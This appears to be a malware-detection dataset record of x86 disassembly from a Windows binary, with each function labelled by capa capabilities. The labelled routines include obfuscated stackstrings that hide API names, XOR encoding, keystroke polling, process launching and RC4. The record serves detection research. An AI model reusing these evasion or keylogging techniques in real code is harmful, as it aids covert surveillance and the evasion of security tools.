joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b025b
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0x40
push 0
push 0x4a1298
call fcn.004bcdae
add esp, 0xc
mov byte [0x4a1298], 0x80
mov eax, dword [ebp + 8]
mov dword [eax + 0x14], 0
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp + 8]
mov dword [edx], 0x67452301
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0xefcdab89
mov ecx, dword [ebp + 8]
mov dword [ecx + 8], 0x98badcfe
mov edx, dword [ebp + 8]
mov dword [edx + 0xc], 0x10325476
pop ebp
ret

Function at 0x4b02b3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x13
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.004a802d
add esp, 0xc
jo 0x4b02ce
ror edi, 0
xor esp, 0
je 0x4b02f4
pushf
not eax
not eax
jae 0x4b02de
call fcn.004b02e3

Function at 0x4b61e3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x12
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.004a802d
add esp, 0xc
dec edx
inc edx
cmc
jns 0x4b6214
lea edx, [edx + 0x7a15]
lea edx, [edx - 0x7a15]
jmp 0x4b620f
xchg esp, esp
js 0x4b6214
xor eax, 0x48e845c6
mov byte [ebp - 0x18], 0x48
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0xe], 0x51
mov byte [ebp - 9], 0x74
mov byte [ebp - 0x17], 0x66
mov byte [ebp - 0x12], 0x73
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 8], 0x74
mov byte [ebp - 0x16], 0x75
mov byte [ebp - 0x11], 0x66
mov byte [ebp - 0xc], 0x70
mov byte [ebp - 7], 0
mov byte [ebp - 0x15], 0x44
mov byte [ebp - 0x10], 0x6f
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0x14], 0x76
mov byte [ebp - 0xf], 0x75
mov byte [ebp - 0xa], 0x66
jmp 0x4b625e
jns 0x4b6275
jmp 0x4b6262
jge 0x4b6264
lea edi, [edi + 0xcd5]
lea edi, [edi - 0xcd5]
jbe 0x4b6272
js 0x4b6275
mov eax, 0x80e84d8a
jmp 0xe898ea7f
mov cl, byte [ebp - 0x18]
sub cl, 1
mov byte [ebp - 0x18], cl
mov dl, byte [ebp - 0x13]
sub dl, 1
mov byte [ebp - 0x13], dl
mov al, byte [ebp - 0xe]
sub al, 1
mov byte [ebp - 0xe], al
mov cl, byte [ebp - 9]
sub cl, 1
mov byte [ebp - 9], cl
mov dl, byte [ebp - 0x17]
sub dl, 1
mov byte [ebp - 0x17], dl
mov al, byte [ebp - 0x12]
sub al, 1
mov byte [ebp - 0x12], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 8]
sub dl, 1
mov byte [ebp - 8], dl
mov al, byte [ebp - 0x16]
sub al, 1
mov byte [ebp - 0x16], al
mov cl, byte [ebp - 0x11]
sub cl, 1
mov byte [ebp - 0x11], cl
mov dl, byte [ebp - 0xc]
sub dl, 1
mov byte [ebp - 0xc], dl
mov al, byte [ebp - 0x15]
sub al, 1
mov byte [ebp - 0x15], al
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
mov al, byte [ebp - 0x14]
sub al, 1
mov byte [ebp - 0x14], al
mov cl, byte [ebp - 0xf]
sub cl, 1
mov byte [ebp - 0xf], cl
mov dl, byte [ebp - 0xa]
sub dl, 1
mov byte [ebp - 0xa], dl
call fcn.004b04b3
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4b631e
xor eax, eax
jmp 0x4b63e3
jbe 0x4b6320
or ebx, ebx
xchg esi, esi
cmc
jnp 0x4b6345
pushf
jmp 0x4b632b
xor eax, 0x72e0
xor eax, 0x72e0
call fcn.004b633a
Function at 0x4b6995
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0xe
push 0
lea eax, [ebp - 0x1c]
push eax
call fcn.004a802d
add esp, 0xc
shl edi, 0
add esp, 0
jae 0x4b69b6
jl 0x4b69bd
xchg esp, esp
jge 0x4b69bd
mov edi, 0x53e445c6
mov byte [ebp - 0x1c], 0x53
mov byte [ebp - 0x1b], 0x66
mov byte [ebp - 0x1a], 0x68
mov byte [ebp - 0x19], 0x50
mov byte [ebp - 0x18], 0x71
mov byte [ebp - 0x17], 0x66
mov byte [ebp - 0x16], 0x6f
mov byte [ebp - 0x15], 0x4c
mov byte [ebp - 0x14], 0x66
mov byte [ebp - 0x13], 0x7a
mov byte [ebp - 0x12], 0x46
mov byte [ebp - 0x11], 0x79
mov byte [ebp - 0x10], 0x42
mov byte [ebp - 0xf], 0
and ecx, 0xffffffff
std
cld
xchg esp, esp
jne 0x4b6a08
jl 0x4b6a00
nop
jg 0x4b6a03
xchg ecx, ecx
je 0x4b6a08
mov ecx, 0x80e44d8a
jmp 0xe498f212
mov cl, byte [ebp - 0x1c]
sub cl, 1
mov byte [ebp - 0x1c], cl
mov dl, byte [ebp - 0x17]
sub dl, 1
mov byte [ebp - 0x17], dl
mov al, byte [ebp - 0x12]
sub al, 1
mov byte [ebp - 0x12], al
mov cl, byte [ebp - 0x1b]
sub cl, 1
mov byte [ebp - 0x1b], cl
mov dl, byte [ebp - 0x16]
sub dl, 1
mov byte [ebp - 0x16], dl
mov al, byte [ebp - 0x11]
sub al, 1
mov byte [ebp - 0x11], al
mov cl, byte [ebp - 0x1a]
sub cl, 1
mov byte [ebp - 0x1a], cl
mov dl, byte [ebp - 0x15]
sub dl, 1
mov byte [ebp - 0x15], dl
mov al, byte [ebp - 0x10]
sub al, 1
mov byte [ebp - 0x10], al
mov cl, byte [ebp - 0x19]
sub cl, 1
mov byte [ebp - 0x19], cl
mov dl, byte [ebp - 0x14]
sub dl, 1
mov byte [ebp - 0x14], dl
mov al, byte [ebp - 0x18]
sub al, 1
mov byte [ebp - 0x18], al
mov cl, byte [ebp - 0x13]
sub cl, 1
mov byte [ebp - 0x13], cl
cmc
xor edi, dword [esp]
xor edi, dword [esp]
rol esp, 0
jle 0x4b6a9f
pushf
push edx
pop edx
call fcn.004b6a8e
Function at 0x4b6d2e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 4], 0
push 0xc
push 0
lea eax, [ebp - 0x10]
push eax
call fcn.004a802d
add esp, 0xc
shl esp, 0
jge 0x4b6d64
pushf
test dword [esp + 8], eax
popf
jge 0x4b6d5d
jp 0x4b6d5f
jl 0x4b6d61
jl 0x4b6d64
mov esp, 0x4ef045c6
mov byte [ebp - 0x10], 0x4e
mov byte [ebp - 0xb], 0x68
mov byte [ebp - 0xf], 0x66
mov byte [ebp - 0xa], 0x66
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 9], 0x43
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 8], 0x70
mov byte [ebp - 0xc], 0x62
mov byte [ebp - 7], 0x79
mov byte [ebp - 6], 0x42
mov byte [ebp - 5], 0
xor edi, dword [esp + 0x10]
xor edi, dword [esp + 0x10]
xchg ebx, edx
xchg ebx, edx
xor edi, esi
xor edi, esi
jne 0x4b6da6
jo 0x4b6db3
jae 0x4b6daa
jae 0x4b6dac
xchg edi, edi
jge 0x4b6db0
jno 0x4b6db3
ljmp 0x1e9:0x80f04d8a
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
mov al, byte [ebp - 0xf]
sub al, 1
mov byte [ebp - 0xf], al
mov cl, byte [ebp - 0xa]
sub cl, 1
mov byte [ebp - 0xa], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 9]
sub al, 1
mov byte [ebp - 9], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 8]
sub dl, 1
mov byte [ebp - 8], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 7]
sub cl, 1
mov byte [ebp - 7], cl
mov dl, byte [ebp - 6]
sub dl, 1
mov byte [ebp - 6], dl
rol ebx, 0x10
rol ebx, 0x10
jbe 0x4b6e2e
lea edx, [edx + 0x6b8e]
lea edx, [edx - 0x6b8e]
lea ebx, [ebx]
jae 0x4b6e2b
ja 0x4b6e2e
mov edi, 0xff19f8e8
dec dword [ecx + 0x7d83fc45]
cld
add byte [ebp + 4], dh
call fcn.004a882b
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4b6e40
xor eax, eax
jmp 0x4b6e87
jp 0x4b6e42
jno 0x4b6e44
jge 0x4b6e46
jle 0x4b6e64
pushf
call 0x4b6e4f
lea esp, [esp + 4]
shl esp, 0
xor edi, 0
popf
xchg edx, eax
xchg edx, eax
lea edx, [edx]
jbe 0x4b6e61
jg 0x4b6e64
mov esp, 0x50f0458d
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.004b6106
mov dword [ebp - 0x14], eax
push 0xc
push 0
lea edx, [ebp - 0x10]
push edx
call fcn.004a802d
add esp, 0xc
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4bd67d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
cmp dword [ebp + 8], 0
jne 0x4bd691
jmp 0x4bd81b
stc
jnp 0x4bd6a1
pushf
jnp 0x4bd698
popf
mov esp, esp
jge 0x4bd69e
jp 0x4bd6a1
add eax, 0x8908458b
inc ebp
in al, dx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx]
mov dword [0x4a13ac], edx
inc edx
dec edx
jl 0x4bd6c5
pushf
xor esi, ecx
xor esi, ecx
popf
ja 0x4bd6c0
js 0x4bd6c2
jge 0x4bd6c5
mov eax, 0x8bec458b
dec eax
add al, 0x89
or eax, 0x4a139c
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 4]
mov dword [0x4a139c], ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 8]
mov dword [0x4a1398], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0xc]
mov dword [0x4a1100], edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x10]
mov dword [0x4a1104], ecx
jb 0x4bd6f6
and esp, 0xffffffff
mov esi, esi
ja 0x4bd703
mov edi, edi
jbe 0x4bd703
mov ebx, 0xf045c6f7
dec ebp
mov byte [ebp - 0x10], 0x4d
mov byte [ebp - 0xf], 0x70
mov byte [ebp - 0xe], 0x62
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x4d
mov byte [ebp - 0xb], 0x6a
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x73
mov byte [ebp - 8], 0x62
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], 0x7a
mov byte [ebp - 5], 0x42
mov byte [ebp - 4], 0
not edx
not edx
dec esi
inc esi
not esi
not esi
lea esp, [esp]
jge 0x4bd751
lea edx, [edx]
jo 0x4bd74a
jno 0x4bd74c
jle 0x4bd74e
jl 0x4bd751
jmp 0x813c2cdf
mov dl, byte [ebp - 0x10]
sub dl, 1
mov byte [ebp - 0x10], dl
mov al, byte [ebp - 0xb]
sub al, 1
mov byte [ebp - 0xb], al
mov cl, byte [ebp - 6]
sub cl, 1
mov byte [ebp - 6], cl
mov dl, byte [ebp - 0xf]
sub dl, 1
mov byte [ebp - 0xf], dl
mov al, byte [ebp - 0xa]
sub al, 1
mov byte [ebp - 0xa], al
mov cl, byte [ebp - 5]
sub cl, 1
mov byte [ebp - 5], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 9]
sub al, 1
mov byte [ebp - 9], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 8]
sub dl, 1
mov byte [ebp - 8], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 7]
sub cl, 1
mov byte [ebp - 7], cl
shr ecx, 0
rol eax, 0xc
ror eax, 0xc
lea ebx, [ebx]
jbe 0x4bd7cc
jge 0x4bd7c8
ja 0x4bd7cc
lcall 0x4a13, 0x983d83de
add byte [eax], al
cmp dword [0x4a1398], 0
je 0x4bd7e9
lea edx, [ebp - 0x10]
push edx
mov eax, dword [0x4a1398]
push eax
call fcn.004b6106
mov dword [0x4a13a8], eax
je 0x4bd7eb
neg edi
neg edi
push edi
pop edi
jbe 0x4bd80b
pushf
call 0x4bd7fa
add esp, 4
ror edi, 0
popf
xchg esp, esp
jbe 0x4bd806
mov ecx, ecx
ja 0x4bd80b
mov esi, 0x6a0d6a
push 0xd
push 0
lea ecx, [ebp - 0x10]
push ecx
call fcn.004a802d
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4be990
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0xc
push 0
lea eax, [ebp - 0x10]
push eax
call fcn.004a802d
add esp, 0xc
xchg esp, esp
je 0x4be9ad
jg 0x4be9b4
mov ebx, ebx
jle 0x4be9b4
mov esp, 0x46f045c6
mov byte [ebp - 0x10], 0x46
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 6], 0x74
mov byte [ebp - 0xf], 0x79
mov byte [ebp - 0xa], 0x70
mov byte [ebp - 5], 0
mov byte [ebp - 0xe], 0x6a
mov byte [ebp - 9], 0x64
mov byte [ebp - 0xd], 0x75
mov byte [ebp - 8], 0x66
mov byte [ebp - 0xc], 0x51
mov byte [ebp - 7], 0x74
xor edi, dword [esp]
xor edi, dword [esp]
dec edx
inc edx
jg 0x4be9ee
jg 0x4bea04
pushf
or ebx, 0
jg 0x4be9f7
xchg esp, esp
popf
jle 0x4be9fd
xchg esi, edx
xchg esi, edx
jle 0x4bea04
mov ebp, 0x80f04d8a
jmp 0xf099720e
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
mov al, byte [ebp - 6]
sub al, 1
mov byte [ebp - 6], al
mov cl, byte [ebp - 0xf]
sub cl, 1
mov byte [ebp - 0xf], cl
mov dl, byte [ebp - 0xa]
sub dl, 1
mov byte [ebp - 0xa], dl
mov al, byte [ebp - 0xe]
sub al, 1
mov byte [ebp - 0xe], al
mov cl, byte [ebp - 9]
sub cl, 1
mov byte [ebp - 9], cl
mov dl, byte [ebp - 0xd]
sub dl, 1
mov byte [ebp - 0xd], dl
mov al, byte [ebp - 8]
sub al, 1
mov byte [ebp - 8], al
mov cl, byte [ebp - 0xc]
sub cl, 1
mov byte [ebp - 0xc], cl
mov dl, byte [ebp - 7]
sub dl, 1
mov byte [ebp - 7], dl
xchg esi, edx
xchg esi, edx
jmp 0x4bea6a
jnp 0x4bea77
pushf
dec ebx
inc ebx
popf
ja 0x4bea74
jp 0x4bea77
mov edi, 0xff1a37e8
dec dword [ecx + 0x7d83fc45]
cld
add byte [ebp + 4], dh
call fcn.004b04b3
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4bea89
xor eax, eax
jmp 0x4bead2
and esp, 0xffffffff
xor esp, 0
call 0x4bea94
lea esp, [esp + 4]
jo 0x4beaaf
pushf
test edi, ecx
add ecx, dword [esp]
sub ecx, dword [esp]
xchg esp, esp
popf
ja 0x4beaaa
lea ebx, [ebx]
jno 0x4beaaf
mov ebx, 0x50f0458d
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.004b6106
mov dword [ebp - 0x14], eax
push 0xc
push 0
lea edx, [ebp - 0x10]
push edx
call fcn.004a802d
add esp, 0xc
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4c1a8b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 4], 0
push 0xc
push 0
lea eax, [ebp - 0x14]
push eax
call fcn.004a802d
add esp, 0xc
xor eax, 0x3939
xor eax, 0x3939
std
cld
jnp 0x4c1ad8
pushf
lea edx, [edx + 0x503d]
lea edx, [edx - 0x503d]
call fcn.004c1acc
Function at 0x4c9726
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
cmp dword [0x49fb04], 1
jne 0x4c9887
push 0xc
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.004a802d
add esp, 0xc
jge 0x4c974e
jg 0x4c9761
pushf
rol esi, 1
rol esi, 0x1f
popf
jbe 0x4c975b
lea esp, [esp]
jle 0x4c9761
lcall 0x45c6, 0x48e845c6
in eax, dx
insd dword es:[edi], dx
mov byte [ebp - 0x18], 0x48
mov byte [ebp - 0x13], 0x6d
mov byte [ebp - 0xe], 0x64
mov byte [ebp - 0x17], 0x6d
mov byte [ebp - 0x12], 0x42
mov byte [ebp - 0xd], 0
mov byte [ebp - 0x16], 0x70
mov byte [ebp - 0x11], 0x6d
mov byte [ebp - 0x15], 0x63
mov byte [ebp - 0x10], 0x6d
mov byte [ebp - 0x14], 0x62
mov byte [ebp - 0xf], 0x70
jl 0x4c9793
jo 0x4c9795
jno 0x4c9797
shr edi, 0
jbe 0x4c97ac
xchg esi, esi
xchg ebx, eax
xchg ebx, eax
xchg ebx, ecx
xchg ebx, ecx
xchg edi, edx
xchg edi, edx
ja 0x4c97ac
lcall 0xe980, 0xe84d8aac
add dword [eax + 0x558ae84d], ecx
in eax, dx
mov cl, byte [ebp - 0x18]
sub cl, 1
mov byte [ebp - 0x18], cl
mov dl, byte [ebp - 0x13]
sub dl, 1
mov byte [ebp - 0x13], dl
mov al, byte [ebp - 0xe]
sub al, 1
mov byte [ebp - 0xe], al
mov cl, byte [ebp - 0x17]
sub cl, 1
mov byte [ebp - 0x17], cl
mov dl, byte [ebp - 0x12]
sub dl, 1
mov byte [ebp - 0x12], dl
mov al, byte [ebp - 0x16]
sub al, 1
mov byte [ebp - 0x16], al
mov cl, byte [ebp - 0x11]
sub cl, 1
mov byte [ebp - 0x11], cl
mov dl, byte [ebp - 0x15]
sub dl, 1
mov byte [ebp - 0x15], dl
mov al, byte [ebp - 0x10]
sub al, 1
mov byte [ebp - 0x10], al
mov cl, byte [ebp - 0x14]
sub cl, 1
mov byte [ebp - 0x14], cl
mov dl, byte [ebp - 0xf]
sub dl, 1
mov byte [ebp - 0xf], dl
call fcn.004b04b3
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4c9821
xor eax, eax
jmp 0x4c98e2
jp 0x4c9823
jge 0x4c9825
jg 0x4c983e
pushf
xchg ebx, edx
xchg ebx, edx
ror eax, 0x1d
rol eax, 0x1d
jp 0x4c9835
cmp edi, esi
popf
jne 0x4c983b
jle 0x4c983e
mov eax, 0x50e8458d
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.004b6106
mov dword [ebp - 8], eax
push 0xc
push 0
lea edx, [ebp - 0x18]
push edx
call fcn.004a802d
add esp, 0xc
jp 0x4c9860
jg 0x4c9871
pushf
test ebx, eax
rol esi, 0
popf
jle 0x4c986d
nop
jle 0x4c9871
sub eax, 0xf87d83
cmp dword [ebp - 8], 0
je 0x4c9881
mov eax, dword [ebp - 8]
mov dword [0x49fb04], eax
jmp 0x4c9885
xor eax, eax
jmp 0x4c98e2
jmp 0x4c9890
mov ecx, dword [0x49fb04]
mov dword [ebp - 8], ecx
ror ecx, 0xd
rol ecx, 0xd
nop
ror edx, 0x1b
rol edx, 0x1b
jno 0x4c98af
pushf
add eax, 0
popf
jae 0x4c98a8
jb 0x4c98aa
jae 0x4c98ac
jo 0x4c98af
mov edx, 0x89f8558b
push ebp
cld
mov edx, dword [ebp - 8]
mov dword [ebp - 4], edx
jo 0x4c98b7
jle 0x4c98cb
lea esi, [esi + 0x6be4]
lea esi, [esi - 0x6be4]
lea ebx, [ebx]
jg 0x4c98cb
mov eax, 0xfc458be3
mov eax, dword [ebp - 4]
push eax
call fcn.004a4a43
add esp, 4
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4dbd45
Capabilities:
Encode data using xor

Disassembly:
pop ebp
xor byte [esi - 0x53], dh
ret 0x7ac0
pop ebx
xchg dword [eax - 0x1b], edi
or bh, byte [edx]
aam 0xad
sub byte [ebp + 8], bl
xor dword [esp + ecx*2 + 0x45402e76], esp
mov dword [0xd728c1d5], eax
sub ebp, esi
push ss
add ebp, dword [0x6ae59da2]
dec ecx
les esp, ss:[esi + 0x56ef0d3c]
jae 0x4dbd36
or edx, dword [esi + 0x3f]
cmp bh, byte cs:[ecx + esi + 0x86ee025]
xor ch, byte [esp + ebp*8 + 0x7ee7286d]
jmp 0x4dbdf4
aaa
stosd dword es:[edi], eax
xor edi, eax
sar byte fs:[ebx + ebx*2], 1
lahf
xchg esp, eax
dec edx
xlatb
sbb eax, 0x72c17c8b
cdq
adc eax, 0x18be78c4
sub dword [ecx], edx
mov ch, byte [ecx - 0x46]
push ebx
or dword [ecx - 0x2cf292d1], eax
or dword [esi], ebx
sal dword [edx - 0x67], 0x15
les edi, [eax - 0x42]
sbb byte [ecx], ch
adc dword [edx + 0x953ba69], ecx
sub dword [edi], 0x9d30d6d
push ds
call 0x1fa3aa18
jbe 0x4dbde3
xchg ecx, eax
sbb eax, 0xbaac34ac
in eax, 0xc
mov dword [0xa2b57553], eax
ret 0xd81b
Function at 0x425710
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4977db
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0048bc3f
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x425792
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00489290
mov eax, dword [eax]
push 0x751230
push eax
call fcn.0047b384
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0048beca
test bl, bl
je 0x425792
push 0x751230
lea ecx, [esp + 0xc]
call fcn.0048c25a
push 0x754dac
lea ecx, [esp + 0xc]
call fcn.0048c25a
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4257ce
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0048beca
jmp 0x425899
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x425852
lea edx, [esp + 0x7c]
push 0x754da8
push edx
call fcn.0047b384
add esp, 8
test eax, eax
je 0x425852
lea eax, [esp + 0x7c]
push 0x754da4
push eax
call fcn.0047b384
add esp, 8
test eax, eax
je 0x425852
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4257e2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0048beca
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x426090
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4260f2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x426100
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x49785b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x75b744]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x426238
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x426166
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048beca
xor eax, eax
jmp 0x4262af
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0048c007
push esi
lea ecx, [esp + 0xc]
call fcn.0048c296
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x42628d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00426090
test eax, eax
jne 0x42628d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00426090
test eax, eax
jne 0x42628d
lea eax, [esp + 0x14]
push 0x754dc0
push eax
call fcn.0047c490
mov esi, eax
add esp, 8
test esi, esi
jne 0x42626c
lea ecx, [esp + 0x14]
push 0x754dbc
push ecx
call fcn.0047c410
mov esi, eax
add esp, 8
test esi, esi
jne 0x42626c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x42626f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0048bfb7
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x42617e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048beca
xor eax, eax
jmp 0x4262af
mov byte [esi], 0
push 0x754db8
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0048beca
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x438ff0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x43905e
cmp si, 0x69
ja 0x43905e
add esi, 0xffd0
cmp si, 0x11
je 0x43902e
push 0x11
call edi
test ax, ax
jge 0x43902e
or esi, 0x2000
cmp si, 0x10
je 0x439043
push 0x10
call edi
test ax, ax
jge 0x439043
or esi, 0x4000
cmp si, 0x12
je 0x439058
push 0x12
call edi
test ax, ax
jge 0x439058
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x43906b
mov esi, 0xbd
jmp 0x43901f
cmp si, 0x6e
jne 0x439078
mov esi, 0xbe
jmp 0x43901f
cmp si, 0x6f
jne 0x439019
mov esi, 0xbf
jmp 0x43901f

Function at 0x43aad0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x76c9b8]
xor edx, edx
cmp eax, edx
jne 0x43aaf6
